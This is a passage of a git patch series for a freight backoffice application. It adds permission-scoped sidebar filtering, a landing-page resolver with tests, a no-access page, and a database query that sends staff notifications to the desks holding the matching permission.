+ { + label: "Warehouse Dashboard", + href: "/dashboard/warehouse-dashboard", + icon: , + permission: FREIGHT_PERMS.warehouseDashboard.view, + }, + { + // Yard-wide, not per-direction: the gate sees import and export + // trucks at the same barrier. + label: "Trucks on Site", + href: "/dashboard/trucks-on-site", + icon: , + permission: FREIGHT_PERMS.warehouseInventory.view, + }, + { + label: "Warehouses", + href: "/dashboard/warehouses", + icon: , + permission: FREIGHT_PERMS.warehouses.view, + }, + { + label: "Allocation & Fees", + href: "/dashboard/warehouse-rules", + icon: , + permission: [ + FREIGHT_PERMS.warehouseAllocationRules.view, + FREIGHT_PERMS.warehouseFeeRules.view, + ], + }, + { + label: "Fee Invoices", + href: "/dashboard/warehouse-fee-invoices", + icon: , + permission: FREIGHT_PERMS.warehouseFeeInvoices.view, + }, + ], + }, + ], + }, + { + title: "Freight configuration", + mutedTitle: true, + items: [ + { + label: "File settings", + href: "/dashboard/file-settings", + icon: , + permission: FREIGHT_PERMS.admin, + }, + { + label: "Dropdown settings", + href: "/dashboard/dropdown-settings", + icon: , + permission: FREIGHT_PERMS.admin, + }, + { + label: "Contract templates", + href: "/dashboard/contract-templates", + icon: , + permission: FREIGHT_PERMS.admin, + }, + { + label: "Audit logs", + href: "/dashboard/audit-logs", + icon: , + permission: FREIGHT_PERMS.audit.view, + }, + { + label: "Configuration", + href: "/dashboard/configuration", + icon: , + children: [ + ...getCategorySidebarChildren("configuration"), + { + label: "Train scheduling rules", + href: "/dashboard/configuration/train-scheduling-rules", + permission: FREIGHT_PERMS.trainScheduling.rulesManage, + }, + { + label: "Trade access", + href: "/dashboard/configuration/trade-access", + permission: FREIGHT_PERMS.admin, + }, + { + label: "Exchange rate", + href: "/dashboard/configuration/exchange-rate", + permission: FREIGHT_PERMS.admin, + }, + ], + }, + { + label: "Rules", + href: "/dashboard/rules", + icon: , + children: getCategorySidebarChildren("rules"), + }, + + { + label: "Staff", + href: "/user-management", + icon: , + permission: [ + FREIGHT_PERMS.admin, + FREIGHT_PERMS.staff.roles.view, + FREIGHT_PERMS.staff.employeeRegistration.view, + FREIGHT_PERMS.staff.roleAssignment.view, + ], + }, + ], + }, +]; + +/** Hrefs of the two document-clearance menu items (stable identifiers). */ +export const ET_CLEARANCE_HREF = "/dashboard/contracts/clearance"; +export const DJ_CLEARANCE_HREF = "/dashboard/gl-djibouti/clearance"; + +// Routes a GL officer may reach beyond their clearance hub. Path B booking is +// part of their job (create/rebook under a cleared contract, then view that +// booking's clearance), but those routes live outside the clearance prefix — +// without this allowlist the single-prefix lock bounces them out of their own +// workflow. Matched against location.pathname (no query string). +export const GL_WORKFLOW_PATH_PATTERNS: RegExp[] = [ + /^\/dashboard\/contracts\/[^/]+\/create-booking(\/|$)/, + /^\/dashboard\/bookings\/[^/]+\/clearance(\/|$)/, + // The ET hub's rows open the shipment clearance detail at this URL. + /^\/dashboard\/clearance\/[^/]+(\/|$)/, +]; + +const isEtClearanceItem = (item: SidebarItem): boolean => + item.href === ET_CLEARANCE_HREF; +const isDjClearanceItem = (item: SidebarItem): boolean => + item.href === DJ_CLEARANCE_HREF; +const isClearanceItem = (item: SidebarItem): boolean => + isEtClearanceItem(item) || isDjClearanceItem(item); + +/** + * Keep only items the user is permitted to see; drop now-empty sections. + * + * Position-scoped visibility (super_admin sees everything): + * - Super Admin → sees all items (all permissions pass, all tabs visible) + * - Ethiopian GL → sees ONLY the ET document-clearance page. + * - Djibouti GL → sees ONLY the DJ clearance page. + * - Everyone else → sees everything they have permission for, EXCEPT the two + * clearance pages (those are GL-only). + */ +export const filterSidebarByPermission = ( + sections: SidebarSection[], + user: AuthUser | null | undefined, +): SidebarSection[] => { + // Superadmin sees every section and item — no permission filtering. + if (isSuperAdmin(user)) return sections; + + const etGl = isEthiopianGl(user); + const djGl = isDjiboutiGl(user); + + const permissionAllowed = (item: SidebarItem): boolean => { + if (!item.permission) return true; + const keys = Array.isArray(item.permission) + ? item.permission + : [item.permission]; + return keys.some((key) => hasFreightPermission(user, key)); + }; + + // Recursive: children are filtered first; a group (item with children) stays + // only while it still has visible children — so parents without their own + // permission key never leak a whole subtree the user cannot open. + const filterItems = (items: SidebarItem[]): SidebarItem[] => + items + .map((item) => + item.children + ? { ...item, children: filterItems(item.children) } + : item, + ) + .filter((item) => { + if (etGl || djGl) { + // GL positions are locked to their single clearance page (parents + // survive only as the path to that page). + const isTarget = etGl ? isEtClearanceItem : isDjClearanceItem; + return isTarget(item) || (item.children?.length ?? 0) > 0; + } + // Everyone else: hide the GL-only clearance pages entirely. + if (isClearanceItem(item)) return false; + if (!permissionAllowed(item)) return false; + if (item.children) return item.children.length > 0; + return true; + }); + + return sections + .map((section) => ({ + ...section, + items: filterItems(section.items), + })) + .filter((section) => section.items.length > 0); +}; + +export const APP_TITLE = "EDR Freight Backoffice"; + +/** Flatten sidebar sections (incl. nested children) into {href, label} pairs. */ +export const flattenSidebarItems = ( + sections: SidebarSection[], +): { href: string; label: string }[] => + sections.flatMap((section) => + section.items.flatMap((item) => [ + ...(item.href ? [{ href: item.href, label: item.label }] : []), + ...(item.children ?? []) + .filter((child): child is SidebarItem & { href: string } => + Boolean(child.href), + ) + .map((child) => ({ href: child.href, label: child.label })), + ]), + ); + +/** Find the sidebar label whose href matches (exactly or as a prefix of) the current path. */ +export const findActiveSidebarLabel = ( + pathname: string, + sections: SidebarSection[], +): string | undefined => { + const path = pathname.toLowerCase(); + const candidates = flattenSidebarItems(sections) + .map(({ href, label }) => ({ + label, + href: href.split("?")[0].toLowerCase(), + })) + .sort((a, b) => b.href.length - a.href.length); + + return candidates.find( + ({ href }) => path === href || path.startsWith(`${href}/`), + )?.label; +}; diff --git a/apps/edr-freight-web/backoffice/src/lib/landing.test.ts b/apps/edr-freight-web/backoffice/src/lib/landing.test.ts new file mode 100644 index 000000000..e286e197d --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/lib/landing.test.ts @@ -0,0 +1,57 @@ +import { describe, expect, it } from "vitest"; + +import type { AuthUser } from "@/auth/types"; +import { FREIGHT_PERMS } from "./permissions"; +import { NO_ACCESS_PATH, resolveLandingPath } from "./landing"; + +const withPermissions = (...keys: string[]): AuthUser => ({ + permissionKeys: keys, +}); + +const withRole = (roleKey: string): AuthUser => ({ roles: [{ key: roleKey }] }); + +describe("resolveLandingPath", () => { + it("keeps normal staff on the overview", () => { + expect(resolveLandingPath(withPermissions(FREIGHT_PERMS.overview.view))).toBe( + "/dashboard/overview", + ); + }); + + it("sends super admins to the overview (they pass every check)", () => { + expect(resolveLandingPath(withRole("super_admin"))).toBe( + "/dashboard/overview", + ); + }); + + it("sends IAM-only admins to the user-management dashboard", () => { + // A pure unit_admin holds `can:*` IAM keys and no edr_freight_app:* key, so + // the freight sidebar filters down to nothing. Landing them on the overview + // is what produced the blank page. + for (const role of ["unit_admin", "admin", "organization_admin"]) { + expect(resolveLandingPath(withRole(role))).toBe( + "/user-management/user_management-dashboard", + ); + } + }); + + it("lands staff without overview:view on a page they can see", () => { + const target = resolveLandingPath( + withPermissions(FREIGHT_PERMS.warehouses.view), + ); + expect(target).not.toBe("/dashboard/overview"); + expect(target.startsWith("/dashboard/")).toBe(true); + }); + + it("never returns /user-management for a freight-only staff key", () => { + // The Staff sidebar item points at /user-management, which redirects by + // ROLE — returning it here would ping-pong for a user with no IAM role. + expect(resolveLandingPath(withPermissions(FREIGHT_PERMS.staff.roles.view))).toBe( + NO_ACCESS_PATH, + ); + }); + + it("falls back to the no-access page when nothing is granted", () => { + expect(resolveLandingPath({})).toBe(NO_ACCESS_PATH); + expect(resolveLandingPath(null)).toBe(NO_ACCESS_PATH); + }); +}); diff --git a/apps/edr-freight-web/backoffice/src/lib/landing.ts b/apps/edr-freight-web/backoffice/src/lib/landing.ts new file mode 100644 index 000000000..2cfd6f5d1 --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/lib/landing.ts @@ -0,0 +1,51 @@ +import { + buildSidebarSections, + filterSidebarByPermission, + flattenSidebarItems, +} from "@/components/layout/sidebar-sections"; + +import type { AuthUser } from "@/auth/types"; + +import { isSuperAdmin } from "./permissions"; + +/** + * IAM roles that grant the user-management subtree but no freight permissions. + * Mirrors the `allowedRoles` on the org-admin route group in + * `user-management/route.tsx` — a role outside this list is bounced by its + * PrivateRoute, so landing anyone else there would just bounce again. + */ +const IAM_ADMIN_ROLES = ["admin", "organization_admin", "unit_admin"]; + +/** Terminal page for accounts with nothing granted. Never permission-gated. */ +export const NO_ACCESS_PATH = "/no-access"; + +/** + * The first route a user can actually reach. + * + * Every redirect in the app funnels through here instead of hardcoding + * `/dashboard/overview`: that page is itself gated on `overview:view`, so + * sending a user who lacks the key there redirects them to the page that just + * rejected them — React Router renders nothing and the user sees a blank frame. + * A pure `unit_admin` holds only `can:*` IAM keys and no `edr_freight_app:*` + * key at all, so this hit them on every login. + */ +export function resolveLandingPath(user: AuthUser | null | undefined): string { + const visible = filterSidebarByPermission(buildSidebarSections([]), user); + + // Only /dashboard/* items are safe landings. The "Staff" item points at + // /user-management, which re-redirects by ROLE — a freight user holding + // staff:* keys but no IAM role would ping-pong between the two. + const firstFreightPage = flattenSidebarItems(visible).find((item) => + item.href.startsWith("/dashboard/"), + )?.href; + if (firstFreightPage) return firstFreightPage; + + if (isSuperAdmin(user)) return "/user-management/dashboard"; + + const roleKeys = (user?.roles ?? []).map((role) => role.key ?? ""); + if (roleKeys.some((key) => IAM_ADMIN_ROLES.includes(key))) { + return "/user-management/user_management-dashboard"; + } + + return NO_ACCESS_PATH; +} diff --git a/apps/edr-freight-web/backoffice/src/pages/NoAccessPage.tsx b/apps/edr-freight-web/backoffice/src/pages/NoAccessPage.tsx new file mode 100644 index 000000000..06d19ac5f --- /dev/null +++ b/apps/edr-freight-web/backoffice/src/pages/NoAccessPage.tsx @@ -0,0 +1,32 @@ +import { ShieldOff } from "lucide-react"; + +import { useAuth } from "@/auth/useAuth"; +import { Button } from "@/components/ui/button"; + +/** + * Terminal page for an account with no freight permissions and no IAM admin + * role. Reached via `resolveLandingPath`, which needs one destination that can + * never bounce — every other page is permission-gated. + */ +export default function NoAccessPage() { + const { user, logout } = useAuth(); + + return ( +
+
+ +

No access assigned

+

+ Your account has no permissions assigned yet, so there are no pages to + show. Contact your administrator to have a position or role assigned. +

+ {user?.email ? ( +

Signed in as {user.email}

+ ) : null} + +
+
+ ); +} diff --git a/apps/edr-freight-web/backoffice/src/pages/auth/LoginPage.tsx b/apps/edr-freight-web/backoffice/src/pages/auth/LoginPage.tsx index 811d7e34b..db4533d21 100644 --- a/apps/edr-freight-web/backoffice/src/pages/auth/LoginPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/auth/LoginPage.tsx @@ -64,7 +64,9 @@ const LoginPage = () => { try { await verifyMfa({ email: normalizedIdentifier, otp: otp.trim() }); - navigate("/dashboard/overview", { replace: true }); + // "/" resolves to the user's own landing page once the session lands — + // not every user can see the overview. + navigate("/", { replace: true }); } catch (err) { setError(extractApiError(err).message); } finally { diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx index 57c239885..e3fb54526 100644 --- a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/CargoTypesPage.tsx @@ -30,6 +30,7 @@ import { } from "lucide-react"; import { useAuth } from "@/auth/useAuth"; +import { resolveLandingPath } from "@/lib/landing"; import { canAccessRuleEngineResource } from "@/lib/permissions"; import RuleEngineFormDialog from "@/components/ruleEngine/RuleEngineFormDialog"; import { @@ -239,8 +240,8 @@ const CargoTypesPage = () => { [levelNodes, term], ); - if (!config) return ; - if (!canView) return ; + if (!config) return ; + if (!canView) return ; // A bad/stale :id (after data loads) → fall back to the root list. if (!isLoading && currentId && !current) return ; diff --git a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx index 885fcb82b..3a3629155 100644 --- a/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/ruleEngine/RuleEngineResourcePage.tsx @@ -1,4 +1,5 @@ import { useAuth } from "@/auth/useAuth"; +import { resolveLandingPath } from "@/lib/landing"; import { canAccessRuleEngineResource, canApproveRuleEngineChange, @@ -584,7 +585,7 @@ const RuleEngineResourcePage = () => { } if (!canView) { - return ; + return ; } const openCreate = () => { diff --git a/apps/edr-freight-web/backoffice/src/routes/RootRedirect.tsx b/apps/edr-freight-web/backoffice/src/routes/RootRedirect.tsx index 77ad29531..48f3ce6aa 100644 --- a/apps/edr-freight-web/backoffice/src/routes/RootRedirect.tsx +++ b/apps/edr-freight-web/backoffice/src/routes/RootRedirect.tsx @@ -2,19 +2,15 @@ import type { ReactElement } from "react"; import { Navigate } from "react-router-dom"; import { useAuth } from "@/auth/useAuth"; +import { resolveLandingPath } from "@/lib/landing"; /** - * Root landing redirect for the vendored IAM pages. Sends super admins to the - * user-management dashboard and everyone else to the freight overview. Minimal - * replacement for the source app's @/routes/RootRedirect (not copied over). + * Root landing redirect for the vendored IAM pages. Delegates to the shared + * landing resolver so it cannot drift from the app's other redirect sinks. */ export function RootRedirect(): ReactElement { const { user } = useAuth(); - const roles = (user?.roles ?? []).map((r) => r.key).filter(Boolean); - if (roles.includes("super_admin")) { - return ; - } - return ; + return ; } export default RootRedirect; diff --git a/apps/edr-freight-web/backoffice/src/user-management/Applayout.tsx b/apps/edr-freight-web/backoffice/src/user-management/Applayout.tsx index ade96250d..37ab26be8 100644 --- a/apps/edr-freight-web/backoffice/src/user-management/Applayout.tsx +++ b/apps/edr-freight-web/backoffice/src/user-management/Applayout.tsx @@ -40,8 +40,10 @@ export const AppLayout = () => { drives collapse on desktop and the Sheet drawer on mobile. */} + {/* "/" resolves to the user's own landing page — an IAM-only admin + has no overview to go back to. */} diff --git a/apps/edr-freight-web/backoffice/src/user-management/route.tsx b/apps/edr-freight-web/backoffice/src/user-management/route.tsx index af29cdc5e..f1e2a8611 100644 --- a/apps/edr-freight-web/backoffice/src/user-management/route.tsx +++ b/apps/edr-freight-web/backoffice/src/user-management/route.tsx @@ -2,6 +2,7 @@ import type { ReactElement } from "react"; import { Navigate, Outlet, Route } from "react-router-dom"; import { useAuth } from "@/auth/useAuth"; +import { NO_ACCESS_PATH, resolveLandingPath } from "@/lib/landing"; import { isSuperAdmin } from "@/lib/permissions"; import { WithPermission } from "@/shared/hooks/useHas"; import PendingExternalUsers from "@/super-admin/components/externalUsers/PendingExternalUsers"; @@ -85,7 +86,7 @@ function PrivateRoute({ allowedRoles }: { allowedRoles: string[] }): ReactElemen .filter((k): k is string => Boolean(k)); const allowed = isSuperAdmin(user) || allowedRoles.some((r) => roleKeys.includes(r)); - return allowed ? : ; + return allowed ? : ; } export const UserManagementRedirect = () => { @@ -100,7 +101,9 @@ export const UserManagementRedirect = () => { return ; } - return ; // fallback + // No IAM role: "/" resolves back here for anyone whose only sidebar entry is + // Staff, so bounce to the terminal page instead of ping-ponging. + return ; }; /** From 116b479bb02e74ce50e20a949a7f60ff8ab7c71a Mon Sep 17 00:00:00 2001 From: Nathnael Date: Fri, 7 Aug 2026 12:42:33 +0000 Subject: [PATCH 09/18] feat: scope notification to permission actions --- apps/edr-freight-api/src/app.module.ts | 13 ++ .../modules/backoffice/backoffice.service.ts | 72 ++++++++-- ...booking-lifecycle-notifier.service.spec.ts | 37 +++++ .../booking-lifecycle-notifier.service.ts | 23 +++- .../booking-wagon-cancellation.service.ts | 6 +- .../companies/company-notifier.service.ts | 12 +- .../contracts/contract-expiry.service.spec.ts | 15 ++ .../contracts/contract-expiry.service.ts | 7 +- .../contracts/contract-notifier.service.ts | 26 +++- .../maintenance/maintenance-due-alert.spec.ts | 5 + .../maintenance/maintenance.service.ts | 5 +- .../notification-recipients.service.ts | 16 +-- .../priority-rule-change-requests.service.ts | 5 +- .../services/rate-change-requests.service.ts | 5 +- .../warehouses/warehouse-fee.service.ts | 7 +- ...freight-notification-permissions.seeder.ts | 103 ++++++++++++++ .../seed/freight-permissions.registry.spec.ts | 39 +++++- .../src/seed/freight-permissions.registry.ts | 128 ++++++++++++++++++ packages/types/src/freight/notifications.ts | 13 +- 19 files changed, 486 insertions(+), 51 deletions(-) create mode 100644 apps/edr-freight-api/src/seed/freight-notification-permissions.seeder.ts diff --git a/apps/edr-freight-api/src/app.module.ts b/apps/edr-freight-api/src/app.module.ts index c98990d25..c4c1514ec 100644 --- a/apps/edr-freight-api/src/app.module.ts +++ b/apps/edr-freight-api/src/app.module.ts @@ -76,6 +76,7 @@ import { FileUploadSettingsSeeder } from "./seed/file-upload-settings.seeder"; // import { ExportDjiboutiInterchangeDemoSeeder } from "./seed/export-djibouti-interchange-demo.seeder"; // import { MarshallingDemoTrainsSeeder } from "./seed/marshalling-demo-trains.seeder"; import { FreightPermissionKeyMigrationSeeder } from "./seed/freight-permission-key-migration.seeder"; +import { FreightNotificationPermissionsSeeder } from "./seed/freight-notification-permissions.seeder"; // import { DemoFreightDataSeeder } from "./seed/demo-freight-data.seeder"; // import { GovCompaniesSeeder } from "./seed/gov-companies.seeder"; import { ApprovedFirstLastMileDemoBookingsSeeder } from "./seed/approved-first-lastmile-demo-bookings.seeder"; @@ -257,6 +258,7 @@ if (!process.env.APPLICATION_NAME) { FileUploadSettingsSeeder, // YardFacilitiesSeeder, FreightPermissionKeyMigrationSeeder, + FreightNotificationPermissionsSeeder, // Disabled seeds — providers commented out (imports/injection/run too): // DemoUsersSeeder, // FreightStaffUsersSeeder, @@ -287,6 +289,7 @@ export class AppModule implements OnApplicationBootstrap { private readonly fileUploadSettingsSeeder: FileUploadSettingsSeeder, // private readonly yardFacilitiesSeeder: YardFacilitiesSeeder, private readonly freightPermissionKeyMigrationSeeder: FreightPermissionKeyMigrationSeeder, + private readonly freightNotificationPermissionsSeeder: FreightNotificationPermissionsSeeder, // Disabled seeds — injections commented out (imports/provider/run too): // private readonly demoUsersSeeder: DemoUsersSeeder, // private readonly freightStaffUsersSeeder: FreightStaffUsersSeeder, @@ -328,6 +331,16 @@ export class AppModule implements OnApplicationBootstrap { await this.edrOrgSeeder.run(); await this.iamBaselineSeeder.run(); await this.freightPositionsSeeder.run(); + // freightNotificationPermissions → seeds the :get_notification + // keys and backfills them onto whoever + // already holds each desk's anchor + // permission. Runs LAST in this block so + // it sees a freshly-seeded catalog and + // freshly-seeded positions. Unlike the + // seeders above it is NOT gated behind + // SEED_EDR_ORG — without it every staff + // notification resolves to no one. + await this.freightNotificationPermissionsSeeder.run(); // File upload settings — keep enabled. await this.fileUploadSettingsSeeder.run(); diff --git a/apps/edr-freight-api/src/modules/backoffice/backoffice.service.ts b/apps/edr-freight-api/src/modules/backoffice/backoffice.service.ts index 49384922e..f47b5e8b1 100644 --- a/apps/edr-freight-api/src/modules/backoffice/backoffice.service.ts +++ b/apps/edr-freight-api/src/modules/backoffice/backoffice.service.ts @@ -46,7 +46,8 @@ export class BackofficeService { /** * IAM user ids of every current employee across all organizations — used by - * the notification recipients resolver's `allBackoffice` selector. + * support chat for staff room membership. Notifications deliberately do NOT + * use this: they target a desk via `getEmployeeUserIdsByPermission`. */ async getAllCurrentEmployeeUserIds(): Promise { const employees = await this.employeeRepository.find({ @@ -63,24 +64,67 @@ export class BackofficeService { * IAM user ids of current employees (any org) holding ANY of the given * permission keys — used by the notification recipients resolver's * `permissionKeys` selector for department/role-scoped targeting. + * + * This MUST agree with the request-time guard (`hasFreightPermission`, + * common/freight-permission.util.ts), which counts four grant carriers plus + * the super_admin bypass. Counting fewer silently drops legitimate + * recipients: an earlier version joined only direct position permissions, on + * which `bookings:view` resolved to 2 users — against 21 through position + * TYPES, which is where admin-created positions actually keep their grants. + * + * Raw SQL rather than QueryBuilder because `Position.positionTypePermissions` + * declares its inverse side against PositionType, so a relation join emits + * `ptp.position_type_id = position.id` and silently matches nothing. Same + * approach as FreightMeService's position-type lookups. */ async getEmployeeUserIdsByPermission( permissionKeys: string[], ): Promise { if (!permissionKeys.length) return []; - const rows: { userId: string | null }[] = await this.employeeRepository - .createQueryBuilder("employee") - .innerJoin("employee.employeePositions", "employeePosition") - .innerJoin("employeePosition.position", "position") - .innerJoin("position.positionPermission", "positionPermission") - .innerJoin("positionPermission.permission", "permission") - .where("employee.isCurrent = :isCurrent", { isCurrent: true }) - .andWhere("permission.key IN (:...permissionKeys)", { permissionKeys }) - .select("DISTINCT employee.user_id", "userId") - .getRawMany(); - return rows - .map((r) => r.userId) - .filter((id): id is string => Boolean(id)); + const rows: { userId: string }[] = await this.dataSource.query( + `WITH target AS (SELECT id FROM iam.permissions WHERE key = ANY($1)) + -- 1. IAM role grants (user_roles -> role_permissions). + SELECT e.user_id AS "userId" + FROM iam.employees e + JOIN iam.user_roles ur ON ur.user_id = e.user_id + JOIN iam.role_permissions rp ON rp.role_id = ur.role_id + WHERE e.is_current AND e.user_id IS NOT NULL + AND rp.permission_id IN (SELECT id FROM target) + UNION + -- 2. Direct position grants. A delegate keeps their own position AND + -- gains the one they stand in for, so both columns count. + SELECT e.user_id + FROM iam.employees e + JOIN iam.employee_positions ep + ON ep.employee_id = e.id AND ep.is_current + JOIN iam.position_permissions pp + ON pp.position_id IN (ep.position_id, ep.delegatee_position_id) + WHERE e.is_current AND e.user_id IS NOT NULL + AND pp.permission_id IN (SELECT id FROM target) + UNION + -- 3. Position TYPE grants — where admin-created positions keep theirs. + SELECT e.user_id + FROM iam.employees e + JOIN iam.employee_positions ep + ON ep.employee_id = e.id AND ep.is_current + JOIN iam.positions p + ON p.id IN (ep.position_id, ep.delegatee_position_id) + JOIN iam.position_type_permissions ptp + ON ptp.position_type_id = p.position_type_id + WHERE e.is_current AND e.user_id IS NOT NULL + AND ptp.permission_id IN (SELECT id FROM target) + UNION + -- 4. super_admin passes every freight permission check, so mirror that + -- here or admins go blind on desks nobody else has been granted yet. + SELECT e.user_id + FROM iam.employees e + JOIN iam.user_roles ur ON ur.user_id = e.user_id + JOIN iam.roles r ON r.id = ur.role_id + WHERE e.is_current AND e.user_id IS NOT NULL + AND r.key = 'super_admin'`, + [permissionKeys], + ); + return rows.map((r) => r.userId); } async createOrganizationUser( diff --git a/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.spec.ts b/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.spec.ts index 2c21d804c..9a5960295 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.spec.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.spec.ts @@ -1,5 +1,6 @@ import { BookingLifecycleNotifierService } from './booking-lifecycle-notifier.service'; import type { Booking } from './entities/booking.entity'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; /** * Who hears "Operations wants changes" depends on who owns the booking. A @@ -74,3 +75,39 @@ describe('BookingLifecycleNotifierService — operation changes requested', () = expect(inbox.notify.mock.calls[0][0].recipients).toEqual({ companyId: 'co-1' }); }); }); + +/** + * Staff notifications used to go to every employee in every organization. They + * now target a desk — and the two desks are disjoint: the GL presets hold no + * bookings:view and no intake keys, so intake pings would be noise they cannot + * act on. Both branches run through the same `inAppStaff` helper, which is the + * easy place to lose the distinction again. + */ +describe('BookingLifecycleNotifierService — staff desk targeting', () => { + const booking = () => + ({ id: 'b-1', reference: 'BKG-0001', companyId: 'co-1' }) as Booking; + + let inbox: { notify: jest.Mock }; + let service: BookingLifecycleNotifierService; + + beforeEach(() => { + inbox = { notify: jest.fn().mockResolvedValue(undefined) }; + service = new BookingLifecycleNotifierService( + { directSend: jest.fn().mockResolvedValue(undefined) } as never, + inbox as never, + { query: jest.fn().mockResolvedValue([]) } as never, + ); + }); + + it('routes intake items to the booking desk and clearance items to the clearance desk', () => { + service.submittedToStaff(booking()); + service.clearanceDocsUploadedToStaff(booking()); + + expect(inbox.notify.mock.calls[0][0].recipients).toEqual({ + permissionKeys: [FREIGHT_PERMS.bookings.getNotification], + }); + expect(inbox.notify.mock.calls[1][0].recipients).toEqual({ + permissionKeys: [FREIGHT_PERMS.bookings.clearanceGetNotification], + }); + }); +}); diff --git a/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.ts index 6245195eb..90b020472 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-lifecycle-notifier.service.ts @@ -11,6 +11,16 @@ import { Booking } from './entities/booking.entity'; import { NotificationsService } from '../notifications/notifications.service'; import { NotificationInboxService } from '../notification-inbox/notification-inbox.service'; import { resolveCompanyNotifyPhone } from '../notifications/resolve-company-phone.util'; +import { FREIGHT_PERMS } from '../../seed/freight-permissions.registry'; + +/** + * Clearance items are worked by the GL desks, which hold no bookings:view and + * no intake keys — so they take their own selector rather than the booking + * desk's. Every override using this deep-links to a clearance page. + */ +const CLEARANCE_DESK = { + permissionKeys: [FREIGHT_PERMS.bookings.clearanceGetNotification], +}; /** * Customer + staff notifications for the booking lifecycle: review, clearance @@ -89,7 +99,11 @@ export class BookingLifecycleNotifierService { }); } - /** Persist + push an in-app item to every backoffice staff user. */ + /** + * Persist + push an in-app item to the booking desk — staff holding + * `bookings:get_notification`. Callers whose item belongs to a different desk + * override `recipients` (see {@link CLEARANCE_DESK}). + */ private inAppStaff( b: Booking, title: string, @@ -97,7 +111,7 @@ export class BookingLifecycleNotifierService { overrides: Partial = {}, ): void { void this.inbox.notify({ - recipients: { allBackoffice: true }, + recipients: { permissionKeys: [FREIGHT_PERMS.bookings.getNotification] }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.REQUEST_SUBMITTED, title, @@ -274,6 +288,7 @@ export class BookingLifecycleNotifierService { `the customs declaration can be filed.${note ? ` Note: "${note}"` : ''}`; this.logger.log(`TRANSIT ASSIGNEE REQUESTED — ${this.ref(b)}`); this.inAppStaff(b, `Transit assignee needed — ${b.reference}`, msg, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/gl-djibouti/clearance/${b.id}`, }); @@ -288,6 +303,7 @@ export class BookingLifecycleNotifierService { `The customs declaration can now be filed.`; this.logger.log(`TRANSIT ASSIGNEE ASSIGNED — ${this.ref(b)}`); this.inAppStaff(b, `Transit assignee set — ${b.reference}`, msg, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/bookings/${b.id}/clearance`, }); @@ -395,6 +411,7 @@ export class BookingLifecycleNotifierService { 'Clearance documents uploaded', `Customer uploaded clearance documents for booking ${this.ref(b)} — review them in the clearance queue.`, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/bookings/${b.id}/clearance`, }, @@ -422,6 +439,7 @@ export class BookingLifecycleNotifierService { `The customer requested a change to the draft declaration on booking ${this.ref(b)}: ` + `"${note}". Send a corrected draft from the clearance page.`; this.inAppStaff(b, `Draft declaration change requested — ${this.ref(b)}`, msg, { + recipients: CLEARANCE_DESK, type: NotificationType.CLEARANCE_REVIEW, link: `/dashboard/bookings/${b.id}/clearance`, }); @@ -440,6 +458,7 @@ export class BookingLifecycleNotifierService { 'Payment slip uploaded', `Customer uploaded the ${label} payment slip for booking ${this.ref(b)}.`, { + recipients: CLEARANCE_DESK, type: NotificationType.PAYMENT_RECEIVED, link: `/dashboard/bookings/${b.id}/clearance`, }, diff --git a/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts index c576f5a43..198342cc8 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-wagon-cancellation.service.ts @@ -1112,12 +1112,14 @@ export class BookingWagonCancellationService { private notifyStaff(booking: Booking, title: string, body: string): void { void this.inbox.notify({ - recipients: { allBackoffice: true }, + recipients: { permissionKeys: [FREIGHT_PERMS.bookings.getNotification] }, audience: NotificationAudience.BACKOFFICE, type: NotificationType.BOOKING_STATUS, title, body, - link: `/bookings/${booking.id}`, + // The portal path `/bookings/:id` used to be sent here, which 404s in the + // dashboard. The staff view of these lives on the queue page. + link: '/dashboard/wagon-cancellations', data: { bookingId: booking.id, reference: booking.reference }, }); } diff --git a/apps/edr-freight-api/src/modules/companies/company-notifier.service.ts b/apps/edr-freight-api/src/modules/companies/company-notifier.service.ts index 66f88e9f8..178ace492 100644 --- a/apps/edr-freight-api/src/modules/companies/company-notifier.service.ts +++ b/apps/edr-freight-api/src/modules/companies/company-notifier.service.ts @@ -11,6 +11,7 @@ import { Company, CompanyStatus } from "./entities/company.entity"; import { NotificationsService } from "../notifications/notifications.service"; import { NotificationInboxService } from "../notification-inbox/notification-inbox.service"; import { resolveCompanyNotifyPhone } from "../notifications/resolve-company-phone.util"; +import { FREIGHT_PERMS } from "../../seed/freight-permissions.registry"; /** Account statuses that lock the customer out and therefore must be told to them. */ const PUNITIVE_STATUSES: readonly CompanyStatus[] = [ @@ -175,12 +176,9 @@ export class CompanyNotifierService { // ── Backoffice-facing: work has arrived back in the review queue ──────────── /** - * Persist + push an in-app item to every backoffice staff user, deep-linked to - * the customer's detail page. - * - * The recipient resolver has no role/permission targeting (see - * `notification-recipients.service.ts`) — `allBackoffice` is the narrowest - * selector available, so marketing is reached by notifying all staff. + * Persist + push an in-app item to the customer desk — staff holding + * 